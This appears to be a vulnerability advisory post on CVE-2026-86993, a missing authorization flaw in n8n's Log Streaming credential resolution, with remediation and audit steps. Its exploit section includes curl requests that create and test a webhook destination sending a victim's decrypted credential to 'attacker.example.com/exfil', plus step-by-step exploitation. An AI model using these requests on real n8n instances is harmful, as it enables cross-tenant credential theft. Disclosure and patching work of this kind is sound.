Listen to this Post
to CVE-2026-86993
CVE-2026-86993 is a missing authorization vulnerability (CWE-862) in n8n, an open-source workflow automation platform. The flaw resides in the Log Streaming feature, specifically in the credential resolution mechanism located at packages/cli/src/modules/log-streaming.ee/destinations/destination-credentials-access.ts.
When a Log Streaming event destination is configured, it may reference a generic HTTP credential for authentication or data transmission. The vulnerable implementation would resolve and decrypt whichever credential ID the destination named without verifying that the calling user actually had access to that credential. While the system did check whether the user possessed the `credential:read` scope within their custom global role, it failed to verify that the referenced credential ID belonged to a project owned by that user or their organization.
This omission allowed any authenticated user with sufficient Log Streaming permissions (such as `eventBusDestination:create` or eventBusDestination:test) to bypass organizational boundaries and access sensitive data belonging to other tenants or projects within the same n8n instance. An attacker could construct a request targeting a credential ID associated with another project, and because the backend logic did not enforce strict ownership checks before decrypting and returning the secret value, the system would successfully process the request and transmit the decrypted sensitive information to an attacker-controlled endpoint.
The impact is severe because n8n credentials often contain high-value authentication materials such as API keys, database passwords, OAuth tokens, and other secrets essential for integrating with external services like Slack, Salesforce, AWS, or custom webhooks. The ability to exfiltrate these secrets without proper authorization undermines the multi-tenancy and security isolation guarantees expected in enterprise deployments. The vulnerability is classified as Medium severity with a CVSS 4.0 base score of 5.9.
DailyCVE Form
Platform: n8n
Version: <1.123.76, <2.37.7, <2.38.2
Vulnerability: Missing Authorization (CWE-862)
Severity: Medium (CVSS 5.9)
date: 2026-09-08
Prediction: 2026-09-22
What Undercode Say
Analytics
List all log streaming destinations
curl -s "https://n8n.example.com/api/v1/settings/log-streaming/destinations" \
-H "X-N8N-API-KEY: your-api-key" \
-H "Content-Type: application/json"
List streamable event types
curl -s "https://n8n.example.com/api/v1/settings/log-streaming/event-types" \
-H "X-N8N-API-KEY: your-api-key"
Create a webhook event destination referencing a foreign credential
curl -s -X POST "https://n8n.example.com/api/v1/settings/log-streaming/destinations" \
-H "X-N8N-API-KEY: your-api-key" \
-H "Content-Type: application/json" \
-d '{
"type": "webhook",
"webhookUrl": "https://attacker.example.com/exfil",
"credentialId": "victim-credential-id",
"events": ["workflow.execution"]
}'
Test an event destination (triggers credential resolution)
curl -s -X POST "https://n8n.example.com/api/v1/settings/log-streaming/destinations/test" \
-H "X-N8N-API-KEY: your-api-key" \
-H "Content-Type: application/json" \
-d '{
"type": "webhook",
"webhookUrl": "https://attacker.example.com/exfil",
"credentialId": "victim-credential-id"
}'
// Vulnerable code path (destination-credentials-access.ts)
// The credential is decrypted without ownership verification
async function resolveCredential(credentialId, user) {
// BUG: Only checks scope, not ownership
if (!user.hasScope('credential:read')) {
throw new Error('Forbidden');
}
// No check: does this credential belong to user's project?
const credential = await CredentialsService.get(credentialId);
return await credential.decrypt(); // Returns secret to destination
}
Audit custom global roles carrying Log Streaming scopes
curl -s "https://n8n.example.com/api/v1/roles" \
-H "X-N8N-API-KEY: your-api-key" | \
jq '.data[] | select(.scopes[] | test("eventBusDestination")) | {name, scopes}'
Check for unexpected webhook URLs in log streaming destinations
curl -s "https://n8n.example.com/api/v1/settings/log-streaming/destinations" \
-H "X-N8N-API-KEY: your-api-key" | \
jq '.data[] | select(.type == "webhook") | {id, webhookUrl, credentialId}'
How Exploit: (Educational Purposes!)
The exploitation of CVE-2026-86993 requires an authenticated user with a custom global role that includes Log Streaming scopes such as `eventBusDestination:create` and eventBusDestination:test.
Step 1: Identify a target credential ID. The attacker needs to know or guess the credential ID belonging to another project. In multi-tenant n8n deployments, credential IDs may be enumerable through other API endpoints or exposed in workflow exports.
Step 2: Create a malicious Log Streaming destination. Using the `eventBusDestination:create` scope, the attacker creates a webhook destination pointing to a server they control, specifying the victim’s credential ID in the `credentialId` field.
Step 3: Trigger credential resolution. Using the `eventBusDestination:test` scope, the attacker triggers the test action on the destination. The vulnerable code resolves and decrypts the referenced credential without verifying ownership.
Step 4: Capture the decrypted secret. The decrypted credential secret is sent via HTTP to the attacker’s endpoint in the request headers or body, depending on the credential type (e.g., generic HTTP credentials typically send credentials as Authorization headers or query parameters).
Step 5: Use or sell the exfiltrated credential. The attacker now possesses API keys, database passwords, or OAuth tokens that grant access to the victim’s external systems (Slack, AWS, Salesforce, etc.).
Protection: from this CVE
Primary Remediation: Upgrade n8n to version 1.123.76, 2.37.7, or 2.38.2 (or later). These versions apply the standard credential access check when a destination resolves its credential.
Temporary Workarounds (if immediate upgrade is not possible):
- Restrict instance access — Limit n8n instance access to fully trusted users only.
- Audit and revoke custom global roles — Identify and revoke any custom global roles that carry Log Streaming scopes (
eventBusDestination:create,eventBusDestination:test, etc.), limiting these scopes to fully trusted users only. - Review existing destinations — Inspect all configured Log Streaming event destinations for unexpected webhook URLs and remove any that are not recognized. Rotate any credentials that may have been referenced.
These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.
Impact
A successful exploit allows an authenticated user with Log Streaming scopes to exfiltrate decrypted secrets from any project within the n8n instance, bypassing multi-tenant isolation boundaries. This can lead to:
– Credential theft — API keys, database passwords, and OAuth tokens for services including Slack, Salesforce, AWS, and custom webhooks.
– Lateral movement — Stolen credentials enable attackers to access connected external systems and further compromise the victim’s infrastructure.
– Data breach — Sensitive data accessible through compromised integrations may be exposed, leading to regulatory and reputational damage.
– Persistence — Attackers can maintain access to external systems as long as the stolen credentials remain valid.
The vulnerability maps to MITRE ATT&CK techniques T1530 (Data from Cloud Storage Object) and T1078 (Valid Accounts) , as stolen credentials can be leveraged for further intrusion into connected systems.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
